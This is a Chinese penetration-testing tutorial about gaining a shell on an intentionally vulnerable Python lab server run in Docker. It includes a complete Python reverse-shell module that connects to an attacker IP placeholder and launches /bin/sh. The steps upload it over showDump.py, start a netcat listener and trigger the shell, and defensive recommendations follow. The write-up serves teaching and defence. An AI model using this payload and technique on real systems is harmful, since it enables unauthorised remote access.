Directory Listing到获取服务器权限
字数 1689 2025-08-29 08:32:00
通过Directory Listing漏洞获取服务器权限的渗透测试教学
0x00 漏洞环境概述
本教学基于一个存在Directory Listing漏洞的Python服务器环境,通过分析服务器代码和功能接口,最终实现服务器权限获取的全过程。
环境搭建
- 使用Docker搭建漏洞环境:
git clone https://github.com/b1ngz/vul-py-server.git
cd vul-py-server
docker build -t vul-py-server .
docker run -d --name=vul-py -p 127.0.0.1:30000:9080 vul-py-server
- 环境包含的主要文件:
httpServer.py:核心服务器代码(Python2 SimpleHTTPServer)log.txt:服务器输出日志showDump.py:被导入的Python模块upload.html:文件上传页面
0x01 服务器接口分析
1. GET /reload
- 功能:执行
server_path/bin/update_and_reload.sh脚本 - 代码关键点:
fileObj = os.popen('sh %s bin/update_and_reload.sh 2>&1' % (server_path,))
2. GET /real_time_log?
- 功能:读取
server_path/log/log.{logName}文件内容 - 代码关键点:
logName = self.path.split('=')[1]
finename = server_path + 'log/log.' + logName
fileobj = open(finename)
3. GET /del_file_list?
- 功能:列出指定目录下的文件
- 代码关键点:
currpath = self.path[self.path.index("?")+1:]
absCurrPath = os.path.join(WorkDir, currpath)
itemlist = os.listdir(absCurrPath)
4. GET /del_file?
- 功能:删除指定文件或目录
- 代码关键点:
currpath = self.path[self.path.index("?")+1:]
absCurrPath = os.path.join(WorkDir, currpath)
os.remove(absCurrPath) # 或 os.rmdir(absCurrPath)
5. GET /show_dump
- 功能:动态导入并执行
showDump.py中的函数 - 代码关键点:
from showDump import show_dump
show_dump('hello', 'world')
6. POST /upload.html
- 功能:文件上传接口
- 代码关键点:
filename = form['fname'].filename
savename = form['newname'].value if 'newname' in form else filename
filepath = os.path.join(path, savename)
savefile = open(filepath, 'wb')
savefile.write(filedata)
0x02 漏洞利用思路分析
初始评估
- 权限限制:
- 当前用户为
www /home/dev/目录属于dev用户,www无写权限
- 可利用点:
- 文件上传功能(路径和文件名可控)
- 动态导入Python模块功能
- 文件删除和目录遍历功能
尝试过的利用方式
- 覆盖shell脚本:
- 尝试覆盖
/home/dev/bin/update_and_reload.sh - 失败原因:权限不足(
Permission denied)
- 路径遍历读取文件:
- 尝试通过
/real_time_log?接口读取系统文件 - 失败原因:路径拼接方式限制,无法使用
../遍历
- 覆盖主服务器文件:
- 尝试覆盖
httpServer.py - 失败原因:代码已加载到内存,需要重启才能生效
成功利用方式:覆盖Python模块
- 利用点:
/show_dump接口每次请求都会重新导入showDump.py- 上传功能可以覆盖
showDump.py文件
- 关键优势:
- 动态导入机制允许热更新模块
- 保持函数签名不变,内部代码可任意修改
0x03 漏洞利用步骤
1. 准备恶意Python模块
创建showDump.py反弹shell代码:
# -*- coding: utf-8 -*-
import os
import socket
import subprocess
ip = "攻击者IP"
port = 12345
def show_dump(dumpWorkDir, dumpfile):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
2. 上传恶意文件
通过upload.html上传文件:
- 选择准备好的
showDump.py文件 - 在"newname"字段填写
showDump.py(覆盖原文件)
3. 设置监听
在攻击机器上设置netcat监听:
nc -v -l 12345
4. 触发执行
访问/show_dump接口触发恶意代码执行:
http://127.0.0.1:30000/show_dump
5. 获取shell
成功获取反向shell连接:
$ id
uid=1000(www) gid=1000(www) groups=1000(www)
$ ls -lh /home/www/code
0x04 防御建议
- 目录列表:
- 禁用Directory Listing功能
- 使用索引文件(index.html)替代
- 文件上传:
- 限制上传文件类型
- 设置上传目录不可执行
- 对上传文件重命名
- 动态导入:
- 避免使用动态导入用户可控文件
- 如需动态加载,应进行严格校验
- 权限控制:
- 遵循最小权限原则
- 服务运行用户不应有敏感目录写权限
- 路径处理:
- 规范化所有路径处理
- 防止目录遍历攻击
- 日志监控:
- 监控异常文件修改行为
- 记录所有文件上传和删除操作
0x05 总结
本案例展示了如何通过Directory Listing漏洞发现服务器敏感文件,分析服务器功能接口,最终利用文件上传和动态导入机制获取服务器权限。关键在于:
- 全面分析服务器暴露的功能接口
- 理解服务器的工作机制和权限模型
- 找到可利用的动态代码执行点
- 构造精确的利用代码绕过限制
这种攻击方式虽然技术难度不高,但非常有效,提醒开发人员需要重视基础安全配置和权限管理。